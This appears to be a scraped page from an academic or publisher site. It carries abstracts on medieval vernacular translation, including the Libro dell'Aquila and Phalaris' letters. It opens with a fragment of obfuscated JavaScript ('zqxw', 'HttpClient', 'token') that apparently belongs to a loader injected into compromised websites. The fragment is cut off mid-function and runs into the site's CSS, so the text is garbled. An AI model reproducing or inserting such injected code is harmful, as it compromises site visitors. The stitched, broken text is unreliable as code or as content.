;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x.hover1{ background-color: #000000 !important;}.hover2{ background-color: #191f6c !important;}.elementor-text-editor>p { text-align: justify; font-size: 17px; letter-spacing: -0.5px;}.g-recaptcha{ display: inline-block;}.fadeInUp>p { font-size: 16px;}.elementskit-card-body { font-size: 17px !important; padding: 20px 30px !important; text-align: justify !important;}.sub-menu{ margin : auto; width : max-content;}.dropdown-menu ul li a.menu-link { line-height: 1.5em!important;}.cateee{border-radius: 10px;color: #fff; display: inline-block; padding: 5px 5px; min-width: 60px; text-align: center; font-size: 13px; font-weight: normal;}input[type=file] { /* float: left; */}@media only screen and (max-width: 767px){input[type=file] { float: unset !important; }}@media only screen and (max-width: 767px){.menu-item-1707{display : none;}}@media only screen and (max-width: 767px){.menu-item-1708{display : none;}}@media only screen and (max-width: 767px) {.sub-menu{width : unset;}}#menu-item-1708>ul{min-width:unset!important; right: 0;width: 110px;} #menu-item-1707>ul{min-width:unset!important; right: 0;width: 110px;} #menu-item-1707>.sf-with-ul>span{ padding: 10px; border: 1px solid #888; font-size: 12px;}#menu-item-1708>.sf-with-ul>span{ padding: 10px; border: 1px solid #888; font-size: 12px;}#site-navigation-wrap { position: relative !important;}.eae-icon-wrap>i { width: 100%;}.elementor-nav-menu--dropdown.elementor-nav-menu__container { margin-top: unset!important;} |form input[type="text"],form input[type="email"] { min-height: 28px !important;}form textarea { min-height: 70px!important;}/* caldera */.caldera-grid input { font-size: 16px;}input[type=file] { float: left;}.help-block{ font-size: 14px;}div>textarea{ height : unset!important;}.form-group>div{ text-align : center ;}.btn-default { color: #fff!Important; background-color: #191f6c !Important; }.btn-default:hover { color: #191f6c !Important; background-color: #fff!Important; border-color: #191f6c !Important; }.gm-style-iw{padding : 10px !Important;}.caldera-grid .form-control{ box-shadow: inset 0 4px 0px #191f6c !Important; }input { height: 40px!Important;}.um-field-um_shortcode_4_19 { width: 45%; margin-top: 24px;}.um-field-postcode{ float: left;}.kboard-thumbnail-button-small{ padding : 0px 20px !important;}@media only screen and (max-width: 767px) {#top-bar-nav{ display : inline !important;}}.um-row._um_row_1 { background-color: #fff !important;}.um .um-field-group-head:hover, .picker__footer, .picker__header, .picker__day--infocus:hover, .picker__day--outfocus:hover, .picker__day--highlighted:hover, .picker--focused .picker__day--highlighted, .picker__list-item:hover, .picker__list-item--highlighted:hover, .picker--focused .picker__list-item--highlighted, .picker__list-item--selected, .picker__list-item--selected:hover, .picker--focused .picker__list-item--selected { background: #000 !important;}.um .um-field-group-head, .picker__box, .picker__nav--prev:hover, .picker__nav--next:hover, .um .um-members-pagi span.current, .um .um-members-pagi span.current:hover, .um .um-profile-nav-item.active a, .um .um-profile-nav-item.active a:hover, .upload, .um-modal-header, .um-modal-btn, .um-modal-btn.disabled, .um-modal-btn.disabled:hover, div.uimob800 .um-account-side li a.current, div.uimob800 .um-account-side li a.current:hover { background: #008cda !important;}button.picker__button--close { background-color: #000;}.um-profile.um-viewing .um-field-label { float: left; width: 150px; margin-right: 20px;}.um-field-area {display: inline!important;}
Religious vernacular literature is thus shown as the ideal ground for a meeting of different cultures and languages
While it explores an original whose complex textual history makes for fascinating linguistic stratification, the translation becomes a testing ground to gauge the purity of the target language and its degree of tolerance for loanwords
appropriation. In the fourteenth century, as Phalaris’ epistolary began his journey through translation and adaptation, another type of texts began to emerge: vernacular anthologies, collections of texts that included contemporary originals in the vernacular and translations from the classics. It is the case of the so-called Libro dell’Aquila, here studied by Giulio Vaccaro, a collection including excerpts from Dante’s Divina Commedia and Convivio as well as translations from Ovid’s Heroides and Virgil’s Aeneid, together with a number of other texts. (더 보기…)